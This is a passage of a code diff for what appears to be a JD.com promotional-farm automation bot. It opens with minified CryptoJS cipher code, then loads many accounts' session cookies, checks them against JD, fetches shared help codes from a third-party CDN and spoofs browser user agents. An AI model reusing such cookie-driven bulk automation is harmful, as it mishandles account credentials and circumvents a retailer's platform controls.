24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +$.maxHelpNum = $.isNode() ? 8 : 4; // 随机助力最大执行次数 +$.helpNum = 0; // 当前账号 随机助力次数 +let assistUserShareCode = 0; // 随机助力用户 share code + +!(async () => { + await requireConfig(); + if (!cookieArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + for (let i = 0; i < cookieArr.length; i++) { + if (cookieArr[i]) { + currentCookie = cookieArr[i]; + $.UserName = decodeURIComponent(currentCookie.match(/pt_pin=([^; ]+)(?=;?)/) && currentCookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.log(`\n************* 检查【京东账号${$.index}】${$.UserName} cookie 是否有效 *************`); + await TotalBean(); + $.log(`开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + if (currentCookie.includes("pt_pin")) await getJxToken() + subTitle = ''; + message = ''; + option = {}; + $.answer = 3; + $.helpNum = 0; + notifyBool = notifyLevel > 0; // 初始化是否推送 + // await tokenFormat(); // 处理当前账号 token + await shareCodesFormat(); // 处理当前账号 助力码 + await jdJXNC(); // 执行当前账号 主代码流程 + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + console.log(e); + }) + .finally(() => { + $.done(); + }) + +// 检查互助码格式是否为 json +// 成功返回 json 对象,失败返回 '' +function changeShareCodeJson(code) { + try { + let json = code && JSON.parse(code); + return json['smp'] && json['active'] && json['joinnum'] ? json : ''; + } catch (e) { + return ''; + } +} + +// 加载配置 cookie token shareCode +function requireConfig() { + return new Promise(async resolve => { + $.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + // const jdTokenNode = $.isNode() ? require('./jdJxncTokens.js') : ''; + const jdJxncShareCodeNode = $.isNode() ? require('./jdJxncShareCodes.js') : {}; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookieArr.push(jdCookieNode[item]); + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookieArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + + $.log(`共${cookieArr.length}个京东账号\n`); + + // if ($.isNode()) { + // Object.keys(jdTokenNode).forEach((item) => { + // tokenArr.push(jdTokenNode[item] ? JSON.parse(jdTokenNode[item]) : tokenNull) + // }) + // } else { + // let tmpTokens = JSON.parse($.getdata('jx_tokens') || '[]'); + // tokenArr.push(...tmpTokens) + // } + + if ($.isNode()) { + Object.keys(jdJxncShareCodeNode).forEach((item) => { + if (jdJxncShareCodeNode[item]) { + jxncShareCodeArr.push(jdJxncShareCodeNode[item]) + } else { + jxncShareCodeArr.push(''); + } + }) + } + + // 检查互助码是否为 json [smp,active,joinnum] 格式,否则进行通知 + for (let i = 0; i < jxncShareCodeArr.length; i++) { + if (jxncShareCodeArr[i]) { + let tmpJxncShareStr = jxncShareCodeArr[i]; + let tmpjsonShareCodeArr = tmpJxncShareStr.split('@'); + if (!changeShareCodeJson(tmpjsonShareCodeArr[0])) { + $.log('互助码格式已变更,请重新填写互助码'); + $.msg($.name, '互助码格式变更通知', '互助码格式变更,请重新填写 ‼️‼️', option); + if ($.isNode()) { + await notify.sendNotify(`${$.name}`, `互助码格式变更,请重新填写 ‼️‼️`); + } + } + break; + } + } + + // console.log(`jdFruitShareArr::${JSON.stringify(jxncShareCodeArr)}`) + // console.log(`jdFruitShareArr账号长度::${jxncShareCodeArr.length}`) + $.log(`您提供了${jxncShareCodeArr.length}个账号的京喜农场助力码`); + + try { + let options = { + "url": `https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jxnc.txt`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "timeout": 10000, + } + $.get(options, (err, resp, data) => { // 初始化内置变量 + if (!err) { + shareCode = data; + } + }); + } catch (e) { + // 获取内置助力码失败 + } + resolve() + }) +} + +// 查询京东账户信息(检查 cookie 是否有效) +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": currentCookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || 